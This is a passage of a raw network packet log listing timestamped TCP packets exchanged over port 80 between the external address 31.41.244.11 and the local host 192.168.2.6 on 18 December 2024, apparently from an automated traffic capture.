Dec 18, 2024 11:47:46.379960060 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.379972935 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.379988909 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.380033970 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.380060911 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.380361080 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.380834103 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.382345915 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.382364035 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.382376909 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.382416964 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.382447004 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.383577108 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.383590937 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.383603096 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.383625031 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.383655071 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.385797977 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.385814905 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.385828018 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.385853052 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.385869980 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.387052059 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.387087107 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.387106895 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.387139082 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.387155056 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.388302088 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.388317108 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.388365030 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.388385057 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.390501022 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.390517950 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.390530109 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.390563965 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.390579939 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.391937017 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.391951084 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.391963005 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.391987085 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.392021894 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.393954992 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.393970966 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.393985987 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.394026995 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.394042015 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.395288944 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.395301104 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.395324945 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.395325899 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.395680904 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.396816969 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.396833897 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.396872997 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.398689032 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.398701906 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.398715019 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.398787022 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.399943113 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.399957895 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.399971962 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.399990082 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.400010109 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.402195930 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.402213097 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.402225971 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.402250051 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.402276993 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.402333021 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.402369022 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.404505968 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.404522896 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.404535055 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.404560089 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.404582977 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.405051947 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.405261993 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.406822920 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.406836033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.406847954 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.406868935 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.406896114 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.407977104 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.408000946 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.408041954 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.409037113 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.409234047 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.409246922 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.409282923 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.409303904 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.411432028 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.411449909 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.411489010 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.411499023 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.411726952 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.411789894 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.412134886 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.412746906 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.412759066 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.412798882 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.412825108 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.415071011 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.415087938 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.415102005 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.415132046 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.415153027 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.416405916 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.416421890 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.416435003 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.416454077 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.416467905 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.418701887 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.418718100 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.418731928 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.418755054 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.418776989 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.419819117 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.419836044 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.419891119 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.420396090 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.421674967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.421690941 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.422004938 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.422504902 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.422519922 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.422568083 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.424124956 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.424141884 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.424170971 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.424185038 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.424599886 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.424612045 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.424650908 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.426755905 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.426773071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.426785946 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.426805973 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.426832914 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.427961111 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.427978039 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.427990913 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.428011894 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.428025961 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.429734945 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.429750919 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.429783106 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.429797888 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.431379080 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.431394100 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.431407928 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.431428909 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.431458950 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.432708979 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.432727098 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.432740927 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.432758093 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.432776928 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.434302092 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.434319973 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.434351921 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.434374094 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.564439058 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.564527035 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.564604998 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.564636946 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.565010071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.565052032 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.565080881 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.565119028 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.566240072 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.566278934 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.566430092 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.566469908 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.567369938 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.567409992 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.567728996 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.567770958 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.567796946 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.567833900 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.568914890 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.568958044 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.569015026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.569052935 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.570059061 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.570101976 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.570125103 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.570161104 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.571283102 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.571326971 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.571392059 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.571433067 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.572468042 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.572511911 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.572560072 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.572593927 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.573626995 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.573667049 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.573721886 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.573759079 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.574875116 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.574915886 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.575023890 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.575061083 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.575912952 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.575953960 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.576025963 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.576060057 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.577116013 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.577157974 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.577313900 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.577349901 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.578341007 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.578382015 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.578458071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.578495026 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.579530001 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.579570055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.579750061 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.579787016 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.580641031 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.580683947 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.580697060 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.580733061 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.581809998 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.581855059 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.581892967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.581929922 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.582957029 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.583002090 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.583183050 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.583229065 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.584134102 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.584176064 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.584212065 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.584250927 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.585299969 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.585345030 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.585463047 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.585500002 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.586458921 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.586503029 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.586529016 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.586565018 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.587647915 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.587690115 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.587724924 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.587762117 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.588754892 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.588797092 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.588918924 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.588957071 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.589942932 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.590032101 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.590061903 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.590159893 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.591133118 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.591175079 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.591212034 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.591257095 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.592459917 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.592504978 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.592626095 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.592664003 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.594208956 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.594252110 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.594297886 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.594335079 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.595169067 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.595207930 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.595247984 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.595282078 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.596137047 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.596178055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.596218109 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.596254110 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.597070932 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.597110033 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.597135067 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.597171068 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.598129988 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.598169088 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.598237038 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.598273993 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.599349022 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.599390984 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.599479914 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.599518061 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.600537062 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.600575924 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.600657940 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.600697994 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.601655960 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.601699114 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.601857901 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.601897001 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.602869034 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.602916002 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.602932930 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.602968931 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.604038000 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.604084015 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.604162931 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.604199886 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.605156898 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.605201006 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.605268002 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.605304003 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.606343985 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.606393099 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.606431961 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.606468916 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.607481003 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.607525110 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.607577085 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.607614040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.608661890 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.608705044 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.608761072 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.608795881 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.609822989 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.609872103 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.609939098 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.609978914 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.611016989 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.611052990 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.611171961 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.611207008 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.612145901 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.612188101 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.612283945 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.612319946 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.613363981 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.613408089 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.613446951 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.613482952 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.614506960 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.614548922 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.614619970 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:46.615156889 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:46.615684986 CET	80	49878	31.41.244.11	192.168.2.6
